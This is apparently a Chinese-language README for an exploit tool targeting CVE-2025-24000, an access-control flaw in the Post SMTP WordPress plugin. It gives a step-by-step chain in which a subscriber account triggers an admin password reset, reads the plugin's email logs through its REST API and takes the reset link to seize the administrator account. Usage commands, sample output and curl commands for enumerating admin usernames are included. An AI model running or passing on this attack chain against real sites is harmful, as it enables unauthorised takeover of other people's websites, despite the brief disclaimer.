CVE-2025-24000 — Post SMTP 权限提升漏洞利用

概述

该脚本利用了 CVE-2025-24000，这是 Post SMTP WordPress 插件（版本 ≤ 3.2.0）中的一个高危访问控制缺陷。它允许任何具有低权限账户（例如订阅者）的认证用户访问该插件的 REST API 邮件日志，窃取管理员密码重置链接，并接管管理员账户。

• CVE: CVE-2025-24000
• Plugin: Post SMTP (WPExperts)
• 受影响版本： ≤ 3.2.0
• 修复版本： 3.3.0
• CVSS 评分： 8.8（高危）
• 影响： 权限提升 → 完全接管管理员账户

工作原理

该漏洞源于插件 REST API 中存在缺陷的权限检查：

// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

任何登录用户，无论其角色如何，都可以访问本应为管理员预留的端点：

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

利用链

1. 注册或使用现有的低权限 WordPress 账户（订阅者）
2. 登录并从 /wp-admin/ 获取 WP REST nonce
3. 触发管理员账户的密码重置
4. 通过未受保护的 REST API 读取邮件日志
5. 从日志中提取密码重置链接
6. 使用重置链接设置新的管理员密码
7. 以管理员身份登录 /wp-admin

要求

• Python 3.x
• requests 库（pip install requests）
• 目标 WordPress 站点上的注册账户（订阅者级别即可）

使用方法

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

参数

示例

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

预期输出

[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...

[+] RESET LINK FOUND:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Visit the link above to set a new admin password and take over the site.

提示

• 如果管理员用户名未知，可通过 WP REST API 枚举：
  root@kitploit:~

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

  或通过作者枚举：
  root@kitploit:~

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• 重置链接为一次性使用且会过期——请在提取后立即使用。
• 如果日志为空，请确保站点配置为通过 Post SMTP 发送邮件（而非 PHP mail）。

参考资料

• Patchstack 公告： https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• GitHub 安全公告： https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• 复现指南： https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD： https://nvd.nist.gov/vuln/detail/CVE-2025-24000

免责声明

此工具仅用于授权的渗透测试和教育目的。请勿在未经明确许可的系统上使用。